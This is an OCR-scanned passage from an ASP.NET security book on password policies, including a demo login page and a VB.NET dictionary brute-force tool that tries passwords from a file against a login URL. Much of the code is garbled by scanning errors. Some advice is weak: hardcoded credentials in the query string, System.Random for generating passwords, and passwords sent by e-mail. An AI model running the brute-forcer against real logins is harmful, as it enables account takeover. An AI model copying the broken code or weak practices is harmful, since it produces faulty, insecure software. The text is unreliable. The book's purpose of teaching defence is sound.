Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Professional ASP.NET Security - Jeff Ferguson

.pdf
Скачиваний:
28
Добавлен:
24.05.2014
Размер:
13.26 Mб
Скачать

Implementing Password Policies

This method checks the length of the password and displays the error message when the length of the password is less than seven characters.

You should allow the users to enter a long password, since the longer the password, the harder it is to crack.

Requiring Mixed Case Password

Requiring mixed cases in the password also makes them harder to crack. We can get this functionality by using the custom validator at the server side. We could construct our mixed-case checking code in the following way:

bool validateMixedCase(String sPWD)

bool foundLower, foundUpper; foundLower=false; foundUpper=false;

for (int 1=0; i< sPWD.Length; i++)

if (foundLower==false) foundLower=isLower(sPWD[i]);

if (foundUpper==false) foundOpper=isUpper(sPWD[i]);

if (foundLower==true && foundUpper==true) return true ;

else

return

false; }

We loop through all the characters in the string, and check whether the current character is an upper or lower case character. Since C# doesn't support isLower and isUpper methods, we've built our own methods for this:

bool isLower(char ch)

if (ch >= 'a1 && ch <= ' z 1 ) return true;

else

return false;

bool isUpper(char ch)

if (ch >= 'A' && ch <= 'Z1) return true;

else

return false;

93

Requiring Numbers and Symbols

Although allowing many characters for the password can make it more secure, and hard to guess, it could leave us open to other types of attack. So it is necessary to limit the number of characters that are supported by passwords. Usually, the characters A-Z, a-z, 0-9, and a few special characters (!, @, #, $, ", *, ?, /, \) are safe to use. To check for numbers and symbols, we're going to modify the validateMixedCase method a little bit:

bool validateMixedCase(String sPWD)

bool foundLower, foundUpper, foundNumeric, foundSymbol; foundLower=false;

foundUpper=false;

foundNumeric=false,•

foundSymbol=false;

for (int i=0; i< sPWD.Length; i++)

if (foundLower==false) foundLower=isLower(sPWD[i]);

if (foundUpper==false) foundUpper=isUpper(sPWD[i]);

if (foundNumeric==false) foundNumeric=isNumeric(sPWDti]); if

(foundSymbol==false)

foundSymbol=isSpecialCharacter(sPWD[i]);

if (foundLower==true && foundUpper==true && foundNumeric==true && foundSymbol==true) return true; else

return

false; }

Since C# doesn't support isNumeric and isSymbol methods, we'll to write our own methods to differentiate between numerals and other types of symbols:

bool isNumeric(char ch)

if (ch >= '0' && ch <= '9') return true;

else

return false;

bool isSpecialCharacter(char ch) { if (ch == '!')

return true; else if (ch == '@') return true; else if (ch == '#')

94

Implementing Password Policies

return true else if (ch == '$ ) return true else if (ch == '" ) return true

else if (ch == '* ) return true else if (ch == '? ) return true

else if (ch == '/ ) return true

else if (ch == ' \V ) //Watch for the special character return true

else

return false;

If you are storing passwords in a database or Active Directory, check the special characters supported by the password store. The best way to restrict the password characters is by using regular expressions. Remember not to allow characters that may be used in script attacks.

If you want to learn more about regular expressions, then you may be interested in "Mastering Regular Expressions - Powerful Techniques for Perl and Other Tools" (ISBN: 1-56592-257-3) By Jeffrey E. F. Friedl from Oreilly Associates. Here is few other good links for information on Regular Expressions:

Q Introduction to Regular Expressions

http://msdn.microsoft.com/scripting/default.htm7/scripting/vbscript/doc/reconlntroduction

ToRegularExpressions.htm

Q Regular Expression Syntax http://msdn.microsoft.com/scripting/default.htm7/scripting/vbscript/doc/jsgrpregexpsyntax.htm

a HOW TO: Match a Pattern Using Regular Expressions and Visual Basic .NET (Q301264) http://support.microsoft.com/default.aspx?scid=kb;EN-US;q301264

Q Learning to Use Regular Expressions by Example http://www.phpbuilder.com/columns/dario1 999061 6. php3

Q PHP and Regular Expressions 101 http://www.webreference.com/programming/php/regexps/

O

Using Regular Expressions

 

http://etext.lib.virginia.edu/helpsheets/regex.html Q

Regular Expression

Library

http://regxlib.com/

 

Running a Dictionary Check on New Passwords

Tools such as LOphtCrack (LOphtCrack is available at http://online.securityfocus.com/tools/1005) use directory check methods to simulate passwords. This means that each of the tools will have its own directory of characters or words that it will use to crack the password. For example, suppose your login page accepts the login parameters in the URL:

Login.Aspx?UserID=Ssivakumar&Password=Checkthisout The directory check tool

could try to fake the URL with different combination of passwords:

Login. Aspx?UserID=Ssivakumar&Password=lCheckthisout

Login.Aspx?UserID=SsivakumarkPassword=2Checkthisout

Login.Aspx?UserID=Ssivakumar&Password=3Checkthisout

Login. Aspx?UserID=Ssivakumar&Password=4Checkthisout

Login.Aspx?UserID=Ssivakumar&Password=5Checkthisout

This is called a Brute Force Attack. In this way, we can also simulate the HTTP POST method to send data:

POST Login.Aspx HTTP/1.0

 

 

 

Accept:

image/gif,

image/x-xbitmap,

image/jpeg,

image/pjpeg,

*/*

Content-Type:

application/x-www-form-urlencoded

 

 

User-Agent: Mozilla/4.0 (compatible;

MSIE 6 . 0;

Windows XP;

DigExt)

Host:

www.website.com

 

 

 

 

Pragma:

no-cache

 

 

 

 

Cookie:

B=8ck8ilun4jtj7

 

 

 

UserID=Ssivakumar&Password=lCheckthisout

UserID=Ssivakumar&Password=2Checkthisout

User ID=SsivakumarScPassword=3Checkthi sou t

The result of this is that if you've used any common words in your password, then it will be very easy to crack.

Let's build a small application that simulates passwords. Our .NET application is going to get passwords from a text file and use the passwords to crack the web application. Here is the ASP.NET web application source.

Sub Page_Load(Src

As Object,

E As

EventArgs) Dim strLogin,

strPwd as

String

 

 

strLogin =

Request.QueryString("txtUser")-ToString() strPwd

= Request.QueryString("txtPwd"}.ToString() if strLogin =

 

"SSIVAKUMAR"

and

strPwd =

"DontTellAnyOne"

Then

 

IbllD.Text = "Hello

"

&

strLogin

&

 

 

",

Welcome

To

Custom Login

 

 

Application" Else

 

 

 

 

 

 

 

IbllD.Text

=

"Authentication

failed!

Please check the login

name

and the password."

 

 

 

 

 

 

End if

 

 

 

 

 

 

End

Sub

 

 

 

 

 

 

 

In the page load event, we read the query string values for txtUser and txtPwd parameters. If the

 

username is equal to "SSIVAKUMAR" and the password is equal to "DontTellAnyOne" then we'll

 

display a welcome message to the user, otherwise we'll display an error message. Here is what the

96

application looks like in IE.

 

Implementing Password Policies

II Custom Login - Microsoft Internet Explon

 

 

 

 

 

• File

Edit

View

Favorites

Tools

Help

1

6 '—it

-I Q

Back - "*

- Q B) tal 1 ^Search

[^FavoritM

 

 

-

 

 

 

 

 

 

^_J

t^ _i!3

.rJ »?S. Address I

http: //bcalhost/ch2/Logtn, aspX?txtUser-SSIVAKUMAR&txtPwd=DontTeHAnyOne

+\ ^Go

. Lffiks ;

Custom Login

Hello SSIVAKUMAR, Welcome To Custom Login Application

J

j \ D a n e ' "

~~~I

I

I

'B Local

intranet

 

 

 

 

Let's build a Windows Form application that simulates the above task and finds the password of the web application. We'll construct our interface in the following way:

We read the web application path and the username that we're trying to crack from the user. Then we read the passwords from the Password, txt file in the application path and try passwords one by one with the specified username.

Let's double-click on the Go! button and add the following code.

Private

Sub btnGo_Click(ByVal

sender As

System.Object,

ByVal e

As

_ System.EventArgs)

Handles

btnGo.Click If

txtURL.Text

<>

""

And

txtParam.Text <>

""

Then Dim strPass As

String =

""

 

 

 

 

 

 

 

 

IblStart.Text

=

DateTime.Now.TimeOfDay.ToString()

 

EnableControls(False)

 

 

 

 

strPass

=

ReadPasswordFile("Passwords.txt")

 

If

strPass

=

""

Then IblPass.Text =

 

 

"Unable

to

find the password!"

 

Q7

Else IblPass.Text = strPass End If

EnableControls(True)

IblEnd.Text = DateTime.Now.TimeOfDay.ToStringl) End If End Sub

We disable the textboxes and the go button first by calling the EnableControls method. Then we display the start time in a label. After that, we call the ReadPasswordFile method. If an empty string is returned by the ReadPasswordFile method then we know we're unable to crack the password and the user didn't choose the common words found in the Password. Txt file. If we found the password then we'll display it in the label control and we'll display the end time.

The ReadPasswordFile method is constructed in the following way:

Function ReadPasswordFile(ByVal

strFileName)

As

String Dim

strWriter As

StringWriter =

New

StringWriter() Dim strPass As String Dim

strPath As

String Dim intCounter As

Integer

 

intCounter

= 1

 

 

' Remove

the bin from the Executable' s path strPath

=Application.ExecutablePath.Substring(0, _

Application.ExecutablePath.IndexOf("bin") - 1)

We get the path of the application directory here. Since the Application. ExecutablePath property returns path of the bin folder, we have to trim the bin folder from the path.

Try

Dim objStrmRds As StreamReader = File.OpenText(strPath & _ "\"&strFileName)Do

strPass = objStrmRds.ReadLine()

Then we open the file using the StreamReader object and reading the file line by line. Then we build the URI dynamically using the URL, username, and password and passing it to the crackPassword method.

If strPass <> Nothing Then

 

 

If

crackPassword(txtURL.Text

&

"?txtUser=" & _

txtParam.Text

& "&txtPwd="

&

strPass) Then

Exit

Do End

If

 

 

If the crackPassword method returns True then we know this is the password. Therefore, we quit from the Do loop and returning the password back to the Go buttons click event.

98

Implementing Password Policies

IstPwd.Items.Add(strPass) IblCounter.Text

=

 

intCounter.ToStringf) IblCounter.Update()

 

 

intCounter

+=

1 End

If

 

 

 

Loop

Until

strPass

=

 

 

 

 

Nothing Catch

E As

Exception

 

 

 

 

MessageBox.Show("There was

an

error reading

the password file

'"

& _

 

 

 

 

 

 

 

 

strFileName

&

,

"File

Read Error",

MessageBoxButtons.OK,

 

_

 

 

 

 

 

 

 

MessageBoxIcon.Stop) End

 

 

 

 

Try Return strPass End

Function

 

 

 

 

 

Otherwise, we add the tried password to the ListBox and increment the counter variable to count the number of passwords that we've tried.

Here is the code for the crackPassword method. The crackPassword method uses the WebRequest and WebResponse classes found in the System.Net namespace.

Function

crackPassword(ByVal

url As String) As

Boolean Dim objWebRspn As

WebResponse Dim blnFound

As

Boolean

 

blnFound = False

Try

Dim objWebReq As WebRequest Dim

ReceiveStream As Stream Dim objEn

As Encoding Dim objStmRdr As

StreamReader

objWebReq = WebRequest.Create(url) objWebRspn = objWebReq.GetResponse() ReceiveStream = objWebRspn.GetResponseStream() objEn = System.Text.Encoding.GetEncoding("utf-8") objStmRdr = New StreamReader(ReceiveStream, objEn)

Dim chrReadBuffer(256) As Char

Dim chrBufferCntr As Integer = objStmRdr.Read(chrReadBuffer, 0, 256)

We create a WebRequest object and pass the URL to its constructor. Then we use the GetResponse method of the WebRequest object to read the return data from the web page and store into the WebResponse object.

Do While

chrBufferCntr

> 0

Dim

strTemp As

String = New String(chrReadBuffer,

 

0, _ chrBufferCntr)

After doing the formatting, we read the 256 characters from the output stream. If the current character contains the word "Hello", then we know that the authentication was successful.

QQ

unapier o

'Check if the stream object has the word "Hello" in it. If 'so then we know the authentication is sucessfully happened 'and the current password is the one that can be used to get 'into the system. If strTemp.IndexOf ( "Hello") > 0 Then

blnFound = True Exit Do

End If

Then we return True back to the crackPassword method and we quit from the Do loop. Otherwise, we move to the next part of the output stream.

chrBuf ferCntr = objStmRdr .Read(chrReadBuf fer , 0, 256) Loop Catch Exc As Exception

Mes sageBox. Show ( "The request URI could not be found or was malformed"

, "URL Error", MessageBoxButtons .OK, MessageBoxIcon. Stop, _

MessageBoxDefaultButton.Buttonl) End Try

'If the WebResponse object is not nothing then close it If Not objWebRspn Is Nothing Then objWebRspn. Close ()

'Rturn data Return blnFound End Function

Let's run the .NET Crack application and see how the application works:

.NET Creak Parameter-

ittp.j'/localhosrvCHlfc, Login A.,p

Password: |DQntTellAnyOne

Tried Passwords:

MyPassword

CheckThisout

ThisisToomuch

Checkthisout

IPassword

[YourPassword

checkthisout

ZMyPassword

asswordChange

TellMe

3YourPassword

GetP as sword

TellMeNow

4PasswordChange

MePassword

Whatisit

SGetPassword

ChangePassword

Comeon

6GetMePassword

tfhatisit |Secret

Youcan'thide

7ChangePassword

MySecret Check

Youcan'thidefromme

BWhatisit

eckThisOut

Thisisit

9Secret

 

Igotit

MySecretl

 

NoItFailed

CheckZ

As you can see, the password DontTellAnyOne was present in the Password, txt file, so that our application was able to find the password. More sophisticated applications will use common words from a directory and number and letter combinations.

100

Implementing Password Policies

This application simulated the HTTP GET method. We can also use the HTTP POST method with the WebRequest object by using the Method property.

Requiring Password Updates

We should suggest that users change their password frequently: once every three months, for instance. We could use a simple table in which will store the user ID, username, password, the last time the password was changed, and the locked time stamp.

Column Name

UserlD

UserName

Password

LastTimePasswordChanged

NeedToChangePassword

GUID

Locked

LockedTimeStamp

When we authenticate the user, we can check the time stamp. If the interval between the time stamp and the current time is greater than a specified time period, then we should force users to change their passwords. We'll look at the NeedToChangePassword, GUID, Locked, and LockedTimeStamp columns a little later.

When we force the users to change their passwords, we shouldn't allow them to use any of their three prior passwords. We can achieve this functionality by keeping track of the user's passwords in a history table.

Column Name

UserlD

Password

InstanceNumber

Every time the user changes their password, we should place the old password in this table, with an instance number.

UserlD

Password

InstanceNumber

 

 

 

21234

#434dfdgdg@4!

1

21234

JfdKLD#$@@#

2

21234

!232kjfDFSDFt$%SS@@#24

3

 

 

 

Table continued on following page

1O1

UserlD

Password

 

InstanceNumber

21234

Kmdfd342@455#DSqqw

21234

 

 

 

4 #ikk5212mlf3085

 

 

 

Make sure you only

ever store the hashed or encrypted version of a password.

 

 

 

When the user changes a password, get all the previous passwords sorted in the descending order of the InstanceNumber column, then compare the new password with the last three passwords. If they match, then notify the user that they can't use any of their last three passwords.

Choosing Random Passwords for Users

Sometimes, we have to assign a random password for users. This could be when the user account is created, or when the user has forgotten their password. We can use the System.Random class to generate random passwords, as in the following example:

<script languages"C#" runat="server">

void InsertData_Click(Object sender, EventArgs e)

{

System.Random oRand = new System.Random)); IblRandom.Text = Convert.ToString(oRand.Next()); }

</script>

Helping Users Who have Forgotten their Password

Users will often forget their passwords and pester administrators to let them back in. However, we need to take into account that a hacker might try requesting a 'lost' password. We need to put security checks in place to prevent passwords from falling into the wrong hands.

E-Mailing New Passwords to Users

The best way to deal with this problem is assign a new random password to the account, and send the password to the user's primary e-mail address. This will ensure that we minimize the risk that a new password will be exposed. We can also create a new column called NeedToChangePas sword in the users table, enabling the flag to True, in order to indicate that when the user next logs in, they must change the password. This will allow them to choose their own personal password, which will be easier to remember.

E-Mailing a 'change password' Link

When we send the password to the user, we should also send a special URL that includes some special values. For example, we could generate a new random number or GUID (Globally Unique Identifier), and pass it as a part of the URL. The System. Quid class can be used to generate GUID numbers.

102

Соседние файлы в предмете Программирование